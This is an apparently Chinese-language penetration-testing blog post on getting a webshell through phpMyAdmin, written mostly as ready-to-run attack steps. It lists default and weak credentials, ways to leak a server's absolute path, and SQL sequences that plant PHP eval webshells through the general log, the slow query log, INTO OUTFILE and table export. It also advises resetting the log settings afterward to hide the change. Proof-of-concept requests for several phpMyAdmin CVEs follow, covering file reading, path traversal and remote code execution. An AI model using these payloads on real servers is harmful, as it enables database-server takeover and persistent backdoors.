phpmyadmin后台拿shell的4种方式

phpmyadmin后台拿shell的4种方式

怎么进phpmyadmin?
弱口令
root/root
root/空密码
root/123456
phpMyAdmin爆破工具
信息泄露(配置文件等)
怎么拿到网站绝对路径?
单引号爆绝对路径
xx.asp?id=1’
错误参数值爆绝对路径
xx.asp?id=-1
搜索引擎搜索绝对路径
site:xxx.com error
site:xxx.com warning
site:xxx.com fatal error
测试文件获取绝对路径
phpinfo.php
test.php
ceshi.php
info.php
php_info.php

全局日志文件写入shell

首先查看mysql的日志状态,默认是关闭的,因为这个日志的量非常大对资源是一个比较大的开销

SHOW VARIABLES LIKE '%general%'

general_log_file为日志保存的位置

image-20220812143953158

随后开启general_log模式

开启general_log 的作用:开启它可以记录用户输入的每条命令,会把其保存在C:\phpStudy\MySQL\data\stu1.log的文件中,其实就是我们常说的日志文件利用思路:开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用

这里注意:在修改log路径前,源路径一定要提前记录下来,我们获取shell后还要恢复原来的路径

思路就是

set global general_log = on;  #开全局日志

set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';   #改日志目录为shell

select '<?php eval($_POST[cmd]);?>'  #写入木马

set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log';
set global general_log = off;把日志目录改回来

记录下原本的日志文件C:\phpStudy\MySQL\data\stu1.log

成功改过来

image-20220812144956148

写入shell

可以看到服务器上面已经有shell了

image-20220812145248577

这里写错地方了,应该写到网站目录上面。

菜刀连接,最后把设置调回去,拿下shell!

image-20220812150008465

在知道绝对路径的情况下,利用INTO OUTFILE

select @@basedir; 查找绝对路径

show global variables like '%secure_file_priv%';

NULL 不允许导入或导出
/tmp 只允许在 /tmp 目录导入导出
空 不限制目录

如果有权限
select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'E:/phpstudy_pro/WWW/test.php'

image-20220812142059560

高版本的mysql中,默认为NULL

慢查询写入webshell

在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用。

解决办法:

在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=

在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=

通过慢日志查询来绕过此限制

1、show variables like '%slow_query_log%';                                            查看慢查询日志开启情况

2、set global slow_query_log=on;                                                             开启慢查询日志

3、set global slow_query_log_file='C:/phpStudy/WWW/shell.php';          修改日志文件存储的绝对路径

4、select '<?php @eval($_POST[shell]);?>' or sleep(10);                         向日志文件中写入shell

5、使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';   

image-20220813101414308

可以看到服务器上shell已经进去了

菜刀连接一下

image-20220813101944718

创建数据库和表写入webshell

利用条件:Root数据库用户(root权限); 网站绝对路径(确定有写入权限); secure_file_priv没有具体值。操作步骤:1)执行下面的sql语句,创建表并在表中写入一句话木马,在导出到网站的根路径。
CREATE TABLE test( id text(500) not null);    

INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    

SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php';    

DROP TABLE IF EXISTS test;

phpMyAdmin漏洞利用:

phpmyadmin反序列化漏洞任意文件读取(WooYun-2016-199433)

影响phpMyAdmin 2.x版本,poc如下:

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

CVE-2016-5734 RCE:

利用条件:

1、授权用户;
2、phpmyadmin4.3.0-4.6.2 ;
3、PHP 4.3.0-5.4.6

主要原因由于将用户输入的信息拼接进preg_replace函数第一个参数中,而在PHP5.4.7以前,preg_replace存在漏洞,可以0进行截断,并将正则模式修改为e,进而执行命令。

在Kali中有自带的EXP

searchsploit phpmyadmin
python3 40185.py -u root - root -d test -c "system(whoami)" http://192.168.75.130:8080/

具体请参考:https://www.jianshu.com/p/8e44cb1b5b5b

CVE-2018-12613文件包含:

利用条件:

漏洞版本:phpMyAdmin 4.8.0和4.8.1
主要原因在index.php中存在一处文件包含逻辑

满足以下5个条件:

1、不为空  
2、字符串  
3、不以index开头  
4、不在$target_blacklist这个黑名单中  
5、Core::checkPageValidity()函数为TRUE
进而通过二次编码即可绕过检查,造成远程文件包含漏洞。

判断是否存在漏洞经过二次编码绕过
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

然后在sql语句中执行一些语句记录到日志,然后在包含即可
SELECT ‘‘;
查询phpmyadmin cookie值(开发者工具查看)
http://192.168.75.130:8080/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ff16b4962b5343089c8fcd4c58df53ba

CVE-2014 -8959:本地文件包含

利用条件:

phpMyAdmin 4 .0.1–4 .2.12
PHP version < 5.3.4

POC:

/gis_data_editor.php?token=你的token值&gis_data[gis_type]=
/../../../../phpinfo.txt%00

在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到文件的附加内容看到。

CVE-2013-3238:

利用条件:

phpMyAdmin 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3

msf有相应的利用模块:
exploit/multi/http/phpmyadmin_preg_replace

CVE-2012-5159:

利用条件:

phpMyAdmin v3.5.2.2

msf有相应的利用模块:
exploit/multi/http/phpmyadmin_3522_backdoor

CVE-2009-1151:

PhpMyAdmin配置文件/config/config.inc.php存在命令执行
利用条件:

phpmyadmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

msf有相应的利用模块:
exploit/unix/webapp/phpmyadmin_config

弱口令&万能密码:
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名’localhost’@‘@”则登录成功


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。